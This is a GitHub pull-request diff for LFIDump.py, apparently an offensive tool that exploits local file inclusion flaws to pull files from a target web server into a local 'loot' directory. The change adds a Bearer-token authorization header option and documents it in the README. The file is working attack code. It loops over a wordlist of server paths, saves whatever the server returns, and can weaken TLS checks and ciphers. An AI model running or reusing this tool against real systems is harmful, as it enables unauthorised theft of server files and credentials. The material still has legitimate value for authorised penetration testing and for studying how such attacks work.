Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
23 changes: 11 additions & 12 deletions LFIDump.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,10 +9,9 @@
import requests
from rich.progress import track


def remote_lfi(filepath, url):
def remote_lfi(filepath, url, headers=None):
data = {"path": filepath, "success": False, "content": ""}
r = requests.get(url.replace("LFIPATH", filepath), verify=False)
r = requests.get(url.replace("LFIPATH", filepath), verify=False, headers=headers)
## Extract data here
filecontent = r.content
##
Expand All @@ -21,8 +20,7 @@ def remote_lfi(filepath, url):
data["content"] = filecontent
return data


def dump_file(basepath, filepath, url, only_success=False):
def dump_file(basepath, filepath, url, headers=None, only_success=False):
def b_filesize(file):
l = len(file['content'])
units = ['B', 'kB', 'MB', 'GB', 'TB', 'PB']
Expand All @@ -31,7 +29,7 @@ def b_filesize(file):
break
return "%4.2f %s" % (round(l / (1024 ** k), 2), units[k])
#
file = remote_lfi(filepath, url)
file = remote_lfi(filepath, url, headers=headers)
if file['success'] == True:
print('\x1b[92m[+] (%9s) %s\x1b[0m' % (b_filesize(file), filepath))
dir = basepath + os.path.dirname(file['path'])
Expand All @@ -46,14 +44,12 @@ def b_filesize(file):
print('\x1b[91m[!] (%s) %s\x1b[0m' % ("==error==", filepath))
return False


def load_wordlist(filelist):
f = open(filelist, 'r')
list_of_files = [l.strip() for l in f.readlines() if len(l.strip()) != 0]
f.close()
return list_of_files


def parseArgs():
parser = argparse.ArgumentParser(description="Description message")
parser.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)')
Expand All @@ -66,14 +62,15 @@ def parseArgs():

parser.add_argument("-D", "--dump-dir", dest="dump_dir", action="store", type=str, default="./loot/", required=False, help="Directory where the dumped files will be stored.")
parser.add_argument("-k", "--insecure", dest="insecure_tls", action="store_true", default=False, help="Allow insecure server connections when using SSL (default: False)")
return parser.parse_args()
parser.add_argument("-a", "--auth-header", dest="auth_header", action="store", type=str, required=False, help="Authorization header value (Bearer token).")

return parser.parse_args()

if __name__ == '__main__':
options = parseArgs()

if options.insecure_tls:
# Disable warings of insecure connection for invalid cerificates
# Disable warnings of insecure connection for invalid certificates
requests.packages.urllib3.disable_warnings()
# Allow use of deprecated and weak cipher methods
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
Expand All @@ -82,12 +79,14 @@ def parseArgs():
except AttributeError:
pass

headers = {"Authorization": f"Bearer {options.auth_header}"} if options.auth_header else None

if options.filelist:
if os.path.exists(options.filelist):
list_of_files = load_wordlist(options.filelist)
for file in track(list_of_files):
dump_file(options.dump_dir, file, options.url, only_success=options.only_success)
dump_file(options.dump_dir, file, options.url, headers=headers, only_success=options.only_success)
else:
print('\x1b[91m[!] Cannot read file %s\x1b[0m' % options.filelist)
elif options.file:
dump_file(options.dump_dir, options.file, options.url, only_success=options.only_success)
dump_file(options.dump_dir, options.file, options.url, headers=headers, only_success=options.only_success)
3 changes: 3 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@
- [x] Dump lots of files from a wordlist with `-F /path/to/local/wordlist.txt`
- [x] Insecure mode (for broken SSL/TLS) with `-k/--insecure`
- [x] Custom local dump dir with `-d/--dump-dir`
- [x] Specify authorization header with `-a/--auth-header`

## Usage

Expand All @@ -38,6 +39,8 @@ optional arguments:
-D DUMP_DIR, --dump-dir DUMP_DIR
Directory where the dumped files will be stored.
-k, --insecure Allow insecure server connections when using SSL (default: False)
-a AUTH_HEADER, --auth-header AUTH_HEADER
Authorization header value (Bearer token).
```

## Examples
Expand Down